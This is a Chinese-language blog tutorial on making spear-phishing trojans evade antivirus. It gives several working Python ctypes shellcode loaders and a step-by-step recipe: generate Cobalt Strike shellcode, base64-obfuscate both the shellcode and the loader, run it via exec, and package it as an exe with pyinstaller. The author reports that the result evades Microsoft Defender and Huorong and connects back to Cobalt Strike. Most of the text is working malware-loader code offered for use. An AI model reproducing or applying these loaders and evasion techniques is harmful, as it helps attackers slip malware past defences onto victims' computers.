0x00 前言
最新复习了一下鱼叉攻击的内容,发现在制作木马这一块过不去了,各种被查杀,于是又重新复习了一下免杀这块的内容。
网上也有很多教程文章,还是不错的,本文将使用CS作为例子,MSF其实差不多的,废话不多说,直接开始!
0x01 Shellcode Loader原理
我们做免杀之前先了解一下一些基础知识,比如说shellcode是什么。
-
shellcode是一段用于利用软件漏洞的有效负载代码,以其经常让攻击者获得shell而得名
-
shellcode loader是用来运行shellcode的加载器
那何为分离免杀呢?
比如说你在MSF生成了一个exe,那么可执行文件里面就包含了shellcode和shellcode loader。
因为MSF默认生成的shellcode loader是不变的,是很容易被杀软识别出来的。
所以我们将shellcode分离出来做处理,分别对两块进行编码混淆。
Shellcode
比如CS生成的一段payload,buf就是shellcode了:
loader加载器
加载器可以使用C、C#、Python等来写,笔者尝试用C来写加载器的时候发现很容易就被查杀了,所以实践了Python生成exe可执行文件进行免杀,效果还是不错的。
加载器原理
这部分就不在这里说了,可以参考大佬的文章CS免杀-Shellcode Loader原理(python)
大家可能会发现VirtualAlloc函数的flAllocationType参数有多种选择,可以参考微软官网的说明:VirtualAlloc function
32位和64位问题报错
首先在这里说下面的这个报错:
OSError: exception: access violation writing
python在申请内存的时候默认是使用32位的,由于x86和x64的兼容性问题导致了内存不可写。
比如系统是64位的就要加上下面的语句:
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
并且在RtlMoveMemory
加上64位的类型:
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
下面是网上分享的各种加载shellcode的代码:
第一种
这一段被用的太多了,导致刚生成exe可执行文件就被微软查杀:
#!/usr/bin/python
import ctypes
shellcode = b"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b"
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
第二种
64位测试失败:
from ctypes import *
shellcode = ""
shellcode_one = create_string_buffer(shellcode, len(shellcode))
shellcode_run = cast(shellcode_one, CFUNCTYPE(c_void_p))
shellcode_run()
第三种
64位测试失败:
from ctypes import *
import ctypes
buf = ""
#libc = CDLL('libc.so.6')
PROT_READ = 1
PROT_WRITE = 2
PROT_EXEC = 4
def executable_code(buffer):
buf = c_char_p(buffer)
size = len(buffer)
addr = libc.valloc(size)
addr = c_void_p(addr)
if 0 == addr:
raise Exception("Failed to allocate memory")
memmove(addr, buf, size)
if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC):
raise Exception("Failed to set protection on buffer")
return addr
VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
VirtualProtect = ctypes.windll.kernel32.VirtualProtect
shellcode = bytearray(buf)
whnd = ctypes.windll.kernel32.GetConsoleWindow()
if whnd != 0:
if 1:
ctypes.windll.user32.ShowWindow(whnd, 0)
ctypes.windll.kernel32.CloseHandle(whnd)
memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
old = ctypes.c_long(1)
VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell),
buf,
ctypes.c_int(len(shellcode)))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
shell()
第四种
这个可以正常使用,并且不会被微软默认杀软杀掉,但是会被火绒查杀:
import ctypes
shellcode =b""
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
如果是64位使用下面的代码:
import ctypes
shellcode =b""
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
第五种
在64位系统测试成功:
import ctypes
scbytes = b'\x90\x90'
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ctypes.windll.kernel32.RtlCopyMemory.argtypes = ( ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t )
ctypes.windll.kernel32.CreateThread.argtypes = ( ctypes.c_int, ctypes.c_int, ctypes.c_void_p, ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int) )
space = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(scbytes)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
buff = ( ctypes.c_char * len(scbytes) ).from_buffer_copy( scbytes )
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(space),buff,ctypes.c_int(len(scbytes)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_void_p(space),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(handle, -1);
0x02 实战
这里就直接实战过免杀的整个过程,主要的思路就是shellcode和loader编码混淆,把python转成exe可执行文件。
1、生成shellcode
我们来使用CS生成的shellcode,选择下面的选项:
选择你的监听:
输出选择Python,选其他也可以,我们只是要里面的十六进制shellcode就行:
点击后会在用户的目录生成一个payload.py的文件,里面这一串16进制就是所谓的shellcode了。
我们需要把shellcode进行一些处理,把原有shellcode的\x
去掉:
然后进行base64编码:
2、编写Loader代码
在这里推荐使用的一套loader:
import ctypes
import base64
shellcode ='shellcode的base64编码'
shellcode = base64.b64decode(shellcode)
shellcode = bytes.fromhex(str(shellcode,'utf-8'))
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
这里执行可以正常上线,也可以过微软的defender,但是会被火绒秒杀。
我们可以把loader部分进行编码,把下面的代码进行base64编码:
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64;rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40);ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode));handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0);ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
得到最终的Python代码:
import ctypes
import base64
shellcode ='shellcode的base64编码'
shellcode = base64.b64decode(shellcode)
shellcode = bytes.fromhex(str(shellcode,'utf-8'))
loader = "Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MucmVzdHlwZT1jdHlwZXMuY191aW50NjQ7cnd4cGFnZSA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jKDAsIGxlbihzaGVsbGNvZGUpLCAweDEwMDAsIDB4NDApO2N0eXBlcy53aW5kbGwua2VybmVsMzIuUnRsTW92ZU1lbW9yeShjdHlwZXMuY191aW50NjQocnd4cGFnZSksIGN0eXBlcy5jcmVhdGVfc3RyaW5nX2J1ZmZlcihzaGVsbGNvZGUpLCBsZW4oc2hlbGxjb2RlKSk7aGFuZGxlID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5DcmVhdGVUaHJlYWQoMCwgMCwgY3R5cGVzLmNfdWludDY0KHJ3eHBhZ2UpLCAwLCAwLCAwKTtjdHlwZXMud2luZGxsLmtlcm5lbDMyLldhaXRGb3JTaW5nbGVPYmplY3QoaGFuZGxlLCAtMSk="
exec (base64.b64decode(loader))
3、Python转Exe
我们需要安装一个pyinstaller模块:
python -m pip install pyinstaller==3.0
python -m pip install pypiwin32
如果网速太慢的话就用国内的镜像,后面加几个命令,例如:
python -m pip install pypiwin32 -i http://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com
执行下面的命令进行打包:
pyinstaller -F exp.py
打包完成后会在dist目录生成exe文件:
4、测试免杀效果
微软的defender没啥问题,火绒也正常上线:
CS上线:
查杀率还是不错的:
0x03 参考
https://codeantenna.com/a/NQOnxnH2Pf
https://www.freebuf.com/articles/compliance/290379.html
https://gist.github.com/peewpw/8054a64eb4b5cd007a8431a71d698dc3 64位loader
https://icode.best/i/17441043786198#h3-10
https://www.delftstack.com/howto/python/python-convert-hex-to-byte/ byte和十六进制转换
- 原文作者: F0rmat
- 原文链接: https://xxe.icu/python_separation_to_antivirus.html
- 版权声明:本作品采用 署名 - 非商业性使用 4.0 国际 (CC BY-NC 4.0)进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。